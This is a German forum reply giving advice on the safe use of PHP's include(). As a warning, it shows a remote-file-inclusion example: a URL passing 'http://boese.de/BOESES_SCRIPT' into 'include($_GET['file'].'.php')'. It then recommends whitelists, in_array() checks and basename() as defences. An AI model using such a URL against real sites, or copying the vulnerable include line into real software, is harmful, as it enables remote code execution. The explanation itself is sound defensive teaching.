Fabian St.: &sicherheit

Beitrag lesen

Hi Andreas!

OK, dann brauchst Du also include(), wenn Du PHP-Code ausführen willst. Allerdings würde ich solche Dateien lieber außerhalb des doc-root speichern.

Wobei dies natürlich bei den meisten Providern nicht möglich sein wird, sodass eine .htaccess für diesen Fall doch die bessere Möglichkeit ist.

Bedenke bei include(), dass es nicht möglich sein darf, dass Dir jemand einen Parameter übergeben kann, so dass er eigenen Code einbinden kann:

/script.php?file=http://boese.de/BOESES_SCRIPT

include($_GET['file'].'.php');

z.B. (also sowas NICHT machen, nicht dass da irgendwelche Zweifel aufkommen ;-))

Am besten keine Vaiablen verwenden, und wenn doch, nur welche die 100%ig geprüft sind, z.B. über eine Whitelist. Und ein basename() ist meistens auch nicht verkehrt.

Eine andere Möglichkeit (das meintest du wahrscheinlich mit Whitelist) ist, dass man sich ein Array aufbaut, das alle Dateien enthält, die eingebunden werden dürfen und dann z.B. mittels in_array() prüft, ob dies der Fall ist und wenn nicht, eine entsprechende Meldung ausgibt.

Grüße,
Fabian St.

--
---------------------
fabi@erde ~# whatis spam
spam: nothing appropriate
---------------------
Selfcode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:( ss:) de:> js:| ch:? mo:) zu:)